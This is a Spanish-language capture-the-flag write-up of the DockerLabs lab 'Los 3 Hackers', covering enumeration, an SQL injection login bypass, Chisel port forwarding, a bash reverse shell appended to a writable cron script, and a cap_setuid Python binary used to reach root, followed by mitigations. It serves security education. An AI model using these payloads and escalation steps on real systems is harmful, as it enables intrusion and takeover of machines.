DockerLabs Writeup — Los 3 Hackers (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “Los 3 Hackers”.
Este laboratorio está catalogado con la dificultad “Fácil” y su autor es “IHATEFW”.
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Capacidades especiales de GNU/Linux (Linux Capabilities),Divulgación de información,Inyección SQL (SQL Injection),Reenvío local de puertos (Local Port Forwarding),Seguridad por oscuridad, Tareas programadas (Cronjobs)
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Una vulnerabilidad SQL Injection permite atravesar el login que protege un panel de administración. La sesión obtenida permite descargar un backup que contiene credenciales en texto plano. Este hallazgo permite realizar el acceso inicial al sistema como el usuario
redhackera través del servicio SSH. - Un servicio disponible de forma local aloja un portal de credenciales. Este contiene las credenciales del usuario
bluehackeren texto plano, lo que permite acceder como este usuario. - Una tarea programada modificable permite acceder al contexto del usuario
blackhackerdirectamente. - Una capacidad especial asignadas a un binario en particular permite escalar privilegios al usuario
rootdirectamente. - Identificación y documentación de formas alternativas para escalar privilegios.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 22,80 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (redhacker)
En este caso se detecta que hay dos puertos abiertos:
- Puerto 22 (servicio SSH, OpenSSH)
- Puerto 80 (servicio HTTP, Gunicorn)
Al revisar el puerto 80, se detecta una página donde presenta a tres “hackers” y propone ayudar a uno de ellos.
URL -> http://172.17.0.2
Al pulsar en el botón “ > AYUDAR AL RED HACKER”, este redirige a una página de login.
URL -> http://172.17.0.2/login
Al escanear en busca de recursos, se detecta tanto el panel que se menciona como un archivo que no se tiene acceso desde un punto de vista no autenticado.
gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 32 -x php,html,txt,zip
Tras probar manualmente algunas cargas útiles para atravesar el login mediante SQL Injection Authentication Bypass, parece indicar que está bloqueando este patrón.
Usuario: ' or 1=1 -- -
Contraseña: Pyth0nK1d
...
Patrón no permitido detectado
Sin embargo, al utilizar el nombre de usuario “admin” y comentar el resto de la consulta, se termina atravesando el login sin problemas para acceder al panel de administración, obteniendo de esta forma una sesión válida y un acceso autenticado como el usuario “admin”.
Get David Prieto Montero (a.k.a Pyth0nK1d)’s stories in your inbox
Join Medium for free to get updates from this writer.
Además, se obtiene una flag directamente visible en el panel de administración.
Username: admin' -- -
Password: Pyth0nK1d
URL -> http://172.17.0.2/dashboard
Tras investigar este panel, se puede comprobar que existe un apartado “Respaldos”. Al pulsar en este se obtiene una página de acceso denegado, ya que al parecer requiere de privilegios de “superadmin” para obtenerlos.
URL -> http://172.17.0.2/dashboard/backups
...
403 - ACCESO DENEGADO
Sin embargo, dado que el archivo denominado “wow.zip” encontrado previamente no era accesible, quizás ahora lo sea. Por ello, se aprovecha la cookie de sesión generada tras saltarse la autenticación para acceder a este. Al parecer es posible descargarlo y revisarlo.
(Inspeccionar las cookies de sesión en el navegador)
(obtener valor de "session")
curl -s http://172.17.0.2/wow.zip -H "Cookie: session=<RECORTADO>" > wow.zip
file wow.zip
Tras extraer un archivo de texto, este parece contener unas credenciales en texto plano asociadas al usuario “redhacker”.
unzip wow.zip
cat permission.txt
Tras probar estas credenciales parecen permitir el acceso inicial al sistema a través del servicio SSH como el usuario “redhacker”.
ssh redhacker@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostname
Además, se comprueba que la flag consiste en una nota de Blue a Red sobre su contraseña, la cual es útil más adelante.
ls -al
cat user.txt
...
Red...
Ya es la tercera vez que olvidas la contraseña.
No volveré a escribirla por ti en un archivo .zip
La próxima vez revisa el portal interno que tenemos, al menos yo lo ocupo para guardar la mia.
- Blue
Escalada de privilegios (redhacker -> bluehacker)
Teniendo en cuenta la pista presente en la flag, revisando el sistema se detecta un servicio a la escucha internamente a través del puerto 5000.
netstat -ano
ps aux | grep 5000
Como la aplicación es únicamente accesible de forma interna, para poder revisar esta primero se debe realizar una redirección de puerto local (local port forwarding) del puerto 5000 hacia la máquina de trabajo. Para hacer esto, se utiliza la herramienta denominada Chisel.
Herramienta utilizada: https://github.com/jpillora/chisel
Descarga de la herramienta: https://github.com/jpillora/chisel/releasesUna vez descargada la herramienta, primero se establece un servidor reverso en la máquina de trabajo, estableciendo el puerto 1234 para este servicio.
./chisel server -p 1234 --reverse
Una vez hecho esto, se transfiere una versión compatible de la herramienta al sistema objetivo y se le indica que redirija el puerto 5000 al puerto 9000 de la máquina de trabajo.
(abrir un servidor HTTP con Python para transferir la herramienta)
python3 -m http.server 80
(desde la máquina objetivo)
cd /tmp
wget -q http://172.17.0.1/chisel -O chisel
chmod +x chisel (dar permisos de ejecución si no los tiene ya)
./chisel client 172.17.0.1:1234 R:9000:127.0.0.1:5000 &
En este punto, se puede comprobar que este puerto está disponible en la máquina de trabajo a través del puerto 9000.
nmap -p 9000 -sCV -n -Pn localhost
Al revisar el servicio expuesto, este parece mostrar un panel interno que expone las credenciales del usuario “bluehacker”.
URL -> http://localhost:9000
// Temporary Credentials
User › bluehacker
Password › <RECORTADO>
Es posible aprovechar estas credenciales para acceder a través de SSH como el usuario “bluehacker”.
ssh bluehacker@172.17.0.2
<introducir la contraseña descubierta>
whoami
id
hostname
Además, se comprueba que la flag consiste en una nota de Blue a si mismo sobre Black, la cual es útil más adelante.
ls -al
cat user.txt
...
Black siempre ha sido desconfiado.
Dice que las tareas importantes
deben ejecutarse solas.
Cada minuto comprueba que todo
siga exactamente como él lo dejó.
Nunca entendí su obsesión.
- Blue
Escalada de privilegios (bluehacker -> blackhacker)
Teniendo en cuenta la pista presente en la flag, se detecta una tarea programada (o cronjob) que elimina el contenido del directorio “/tmp” cada minuto, pero solo lo hará con los archivos que pertenecen a su contexto no privilegiado, es decir los perteneciente al usuario “blackhacker”. Además, el script asociado a esta tarea es modificable por el grupo “bluehacker” lo que permite escalar privilegios sobre este.
ls -al /etc/cron.d
cat /etc/cron.d/maintenance
ls -al /opt/maintenance/
cat /opt/maintenance/m.sh
Para aprovechar esta tarea programada para escalar privilegios, primero se establece un puerto a la escucha.
rlwrap nc -nvlp 1337
A continuación se modifica la tarea programada para que ejecute una consola inversa escrita en Bash.
cat /opt/maintenance/m.sh
echo -e '/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1"' >> /opt/maintenance/m.sh
cat /opt/maintenance/m.sh
Tras esperar un minuto se obtiene acceso como el usuario “blackhacker” a través del puerto a la escucha previamente establecido.
whoami
id
hostname
Se actualiza la consola inversa a una TTY con ayuda de Python.
tty -> (not a tty)
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
tty -> (/dev/pts/2)
Además, se comprueba que la flag consiste en una nota de Black a si mismo, la cual será útil a continuación.
ls -al
cat user.txt
...
No confío en contraseñas.
No confío en personas.
Las contraseñas se olvidan.
Las personas cometen errores.
Los privilegios...
Esos sí permanecen.
- Black
Escalada de privilegios (blackhacker -> root)
Teniendo en cuenta la pista presente en la flag, se detecta un binario con capacidades especiales o capabilities tiene asignadas.
En resumen, las capabilities son permisos granulares que permiten a un programa realizar acciones privilegiadas sin necesidad de ser root. Por ejemplo: abrir puertos bajos, manipular la red, leer la hora del sistema, etc.
getcap / -r 2>/dev/null
Se puede comprobar que tras ejecutar el comando para detectar estos permisos en todo el sistema de archivos, se detecta que el binario “/usr/local/bin/syscheck” tiene la capability “cap_setuid” asignada.
Esto permite que un proceso cambie su UID sin necesidad de ser “root”, ofreciendo la capacidad de cambiar de usuario (por ejemplo, convertirse en “root”) sin necesidad de disponer de todos los permisos asociados a este superusuario.
Además, el modo de ejecución indica que:
- Effective o “e”: la capacidad se activa en tiempo de ejecución.
- Permitted o “p”: el binario tiene permitido usarla.
Referencia: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-capabilities.html#cap_setuidAl analizar más detenidamente este binario, resulta que es una copia del ejecutable del interprete de Python.
/usr/local/bin/syscheck --version
/usr/local/bin/syscheck --help | head
En este punto es posible abrir una consola interactiva con privilegios elevados o “root” directamente aprovechando la capability asignada.
/usr/local/bin/syscheck
>>> import os
>>> os.setuid(0)
>>> os.system("/bin/bash -p")
whoami
id
hostname
Se termina obteniendo la flag final del directorio principal del usuario “root”, donde una nota del autor del laboratorio pone cierre a la historia descrita.
cd /root
ls -al
cat root.txt
...
Has llegado hasta aquí.
Red te enseñó que toda aplicación puede fallar.
Blue te recordó que la seguridad nunca termina.
Black demostró que el conocimiento, sin ética,
puede convertirse en un arma.
No resolviste una máquina.
Viviste las tres mentalidades que existen en la
ciberseguridad.
Ahora la pregunta ya no es si sabes hackear.
La pregunta es...
¿Qué clase de hacker quieres ser?
— IHATEFW
Gracias por jugar.
En este punto, al haber obtenido acceso a la cuenta “root”, se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
BONUS 1: Escalada de privilegios (redhacker -> root)
Teniendo en cuenta que el binario con la capability previamente encontrada es accesible por cualquier usuario del sistema, incluso desde los privilegios más bajos es posible aprovechar este para obtener máximos privilegios directamente.
(desde el usuario "redhacker")
/usr/local/bin/syscheck
>>> import os
>>> os.setuid(0)
>>> os.system("/bin/bash -p")
whoami
id
hostname
BONUS 2: Contraseñas expuestas en archivo de configuración
Desde el acceso inicial (usuario “redhacker”) es posible saltar directamente a cualquiera de los usuarios básicos que se encuentran en el sistema, ya que el entrypoint de Docker revela directamente las credenciales que tienen asignadas cada uno de estos.
Ya sea por enumeración manual o automatizada terminan saliendo, debido a permisos incorrectos sobre este archivo, ya que debería ser legible únicamente por el usuario “root”, o en su defecto haber enfocado la asignación de credenciales de otra forma para evitar su exposición.
(desde el usuario "redhacker")
ls -al /
cat /entrypoint.sh | head -n 30
...
#!/bin/bash
set -e
# ====================================================================
# IMPORTANTE: reemplaza estas variables antes de buildear la imagen,
# o pasalas como build-args / variables de entorno si prefieres.
# Deben coincidir con lo que pusiste en web/wow.zip -> wow.txt
# ====================================================================
SSH_USER="${SSH_USER:-redhacker}"
SSH_PASS="${SSH_PASS:-<RECORTADO>}"
# --- Configurar usuario de bajo privilegio ---
if ! id "$SSH_USER" &>/dev/null; then
useradd -m -s /bin/bash "$SSH_USER"
echo "$SSH_USER:$SSH_PASS" | chpasswd
fi
# --- Segundo usuario (pivote lateral) ---
BLUEHACKER_USER="bluehacker"
BLUEHACKER_PASS="<RECORTADO>"
if ! id "$BLUEHACKER_USER" &>/dev/null; then
useradd -m -s /bin/bash "$BLUEHACKER_USER"
echo "$BLUEHACKER_USER:$BLUEHACKER_PASS" | chpasswd
fi
# --- Tercer usuario (Black Hacker) ---
BLACKHACKER_USER="blackhacker"
BLACKHACKER_PASS="<RECORTADO>"
Mitigaciones a aplicar
- Almacenar la información sensible de forma segura (por ejemplo, utilizando gestores de contraseñas), evitando que esta pueda ser accedida por usuarios no autorizados. Evitar mostrar en la web o “hardcodear” en código credenciales en recursos accesibles o que potencialmente puedan acabar publicados.
- Para evitar la vulnerabilidad SQL Injection, usar siempre consultas preparadas, evitando concatenar datos del usuario en las consultas. Complementar esto con validación estricta de la entrada y aplicando mínimos privilegios al usuario de la base de datos.
- Para evitar vulnerabilidades que permitan escalar privilegios abusando de tareas programadas o cronjobs, asegurarse de ejecutar cada tarea con el mínimo privilegio necesario, evitar usar
rootsi no es imprescindible, utilizar rutas absolutas y un entorno controlado, proteger los scripts y archivos con permisos restrictivos, validar cualquier entrada externa y revisar periódicamente los logs y las tareas programadas para detectar modificaciones o ejecuciones sospechosas. - Evitar aplicar prácticas del tipo “seguridad por oscuridad”, aplicando mecanismos de seguridad robustos y auditables con el fin de asegurar funcionalidades críticas o proteger secretos.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como “CIS Benchmarks” para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal:
https://pyth0nk1d.medium.com
